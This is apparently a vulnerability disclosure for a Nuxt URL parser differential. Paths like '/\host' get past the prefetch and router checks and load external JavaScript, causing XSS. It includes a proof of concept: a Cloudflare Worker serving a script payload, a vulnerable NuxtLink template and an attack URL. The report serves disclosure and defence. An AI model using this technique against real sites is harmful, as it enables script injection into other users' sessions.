Link preloads do not effectively confirm if the requested link is external.
Parser differentials can be used to bypass existing external URL check.
payload.client.ts
contains the following code on link prefetch:
nuxtApp.hooks.hook('link:prefetch', (url) =>
{
if (!parseURL(url).protocol) {
return loadPayload(url)
}
})
The loadPayload
function calls _getPayloadURL
on the URL, transforming the URL:
function _getPayloadURL (url: string, opts: LoadPayloadOptions = {}) {
const parsed = parseURL(url)
if (parsed.search) {
throw new Error('Payload URL cannot contain search params: ' + url)
}
const hash = opts.hash || (opts.fresh ? Date.now() : '')
return joinURL(useRuntimeConfig().app.baseURL, parsed.pathname, hash ? `_payload.${hash}.js` : '_payload.js')
}
Finally, the URL is loaded in _importPayload
.
async function _importPayload (payloadURL: string) {
if (process.server) { return null }
const res = await import(/* webpackIgnore: true */ /* @vite-ignore */ payloadURL).catch((err) => {
console.warn('[nuxt] Cannot load payload ', payloadURL, err)
})
return res?.default || null
}
By using a URL such as /\mydomain.com
we can have a URL with no protocol or search params that the browser will interpret as http://mydomain.com/_payload.js?import=
There are likely other parser differentials that would lead to XSS. These can be browser dependant.
Another similar exploit is possible when the link is clicked:
// Load payload after middleware & once final route is resolved
useRouter().beforeResolve(async (to, from) => {
if (to.path === from.path) { return }
const payload = await loadPayload(to.path)
if (!payload) { return }
Object.assign(nuxtApp.payload.data, payload.data)
})
This version has no protocol check, however beforeResolve
is only called on same page navigations, this is also fooled by the given example.
This vulnerability currently only exists on prerendered sites but there seem to be plans to have this feature on all modes.
Requirements:
NuxtLink
component with user supplied input within the href
or to
propsFirst, set up a server to respond with a small javascript payload and a Access-Control-Allow-Origin: *
header.
Cloudflare Worker Example
export interface Env {}
export default {
async fetch(
request: Request,
env: Env,
ctx: ExecutionContext
): Promise<Response>
{
const r = new Response("alert('xss!')")
r.headers.set('Content-Type', "application/javascript")
r.headers.set('Access-Control-Allow-Origin', "*")
return r;
},
};
Next, create a link pointing to your site with the prefix /\
. E.g /\mysite.com
.
XSS will trigger when the link is observed by the browser.
<template>
<div>
<NuxtLink :to="r.query.u">Your Link Here</NuxtLink>
</div>
</template>
<script setup lang="ts">
const r = useRoute() as any;
</script>
Navigate to URL: http://site/u?=/\io.bryces.io